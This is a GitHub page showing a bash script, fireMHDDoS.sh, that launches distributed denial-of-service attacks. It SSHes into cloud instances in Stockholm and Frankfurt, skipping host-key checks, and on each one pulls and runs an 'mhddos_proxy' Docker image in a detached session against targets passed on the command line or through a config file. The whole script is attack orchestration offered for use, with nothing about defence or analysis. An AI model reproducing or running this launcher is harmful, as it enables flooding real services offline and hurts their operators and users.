-
Notifications
You must be signed in to change notification settings - Fork 4
/
fireMHDDoS.sh
executable file
·83 lines (71 loc) · 1.51 KB
/
fireMHDDoS.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/bin/bash
main(){
local COLOR_GREEN=$'\e[1;32m'
local RESET_COLOR=$'\e[0m'
echo "${COLOR_GREEN}Firing via MHDDoS...${RESET_COLOR}"
./watchForInstancesStart.sh &&
./watchForSSHStart.sh || exit 1
fireFromStockholm ${@} &
fireFromFrankfurt ${@} &
wait
}
fireFromStockholm(){
local STOCKHOLM_INSTANCES_IPS=`./getInstancesIPs.sh -s`
for ip in ${STOCKHOLM_INSTANCES_IPS}
do
fire "key-stockholm-0.pem" ${ip} ${@} &
done
wait
}
fireFromFrankfurt(){
local FRANKFURT_INSTANCES_IPS=`./getInstancesIPs.sh -f`
for ip in ${FRANKFURT_INSTANCES_IPS}
do
fire "key-frankfurt-0.pem" ${ip} ${@} &
done
wait
}
fire(){
local KEY=${1}
local IP=${2}
shift 2
if [[ ${1} == "-c" ]]
then
[[ -z ${2} ]] && exit 1
echo " 🔥 ${IP} » -c ${2}"
ssh \
-i ${KEY} \
-o "LogLevel ERROR" \
-o "IdentitiesOnly yes" \
-o "StrictHostKeyChecking no" \
-o "UserKnownHostsFile /dev/null" \
"ubuntu@${IP}" \
screen -dm \
sudo docker run \
-it \
--rm \
--pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest \
--debug \
-c ${2}
else
for target in ${@}
do
echo " 🔥 ${IP} » ${target}"
ssh \
-i ${KEY} \
-o "LogLevel ERROR" \
-o "IdentitiesOnly yes" \
-o "StrictHostKeyChecking no" \
-o "UserKnownHostsFile /dev/null" \
"ubuntu@${IP}" \
screen -dm \
sudo docker run \
-it \
--rm \
--pull always ghcr.io/porthole-ascend-cinnamon/mhddos_proxy:latest \
--debug \
${target}
done
fi
}
main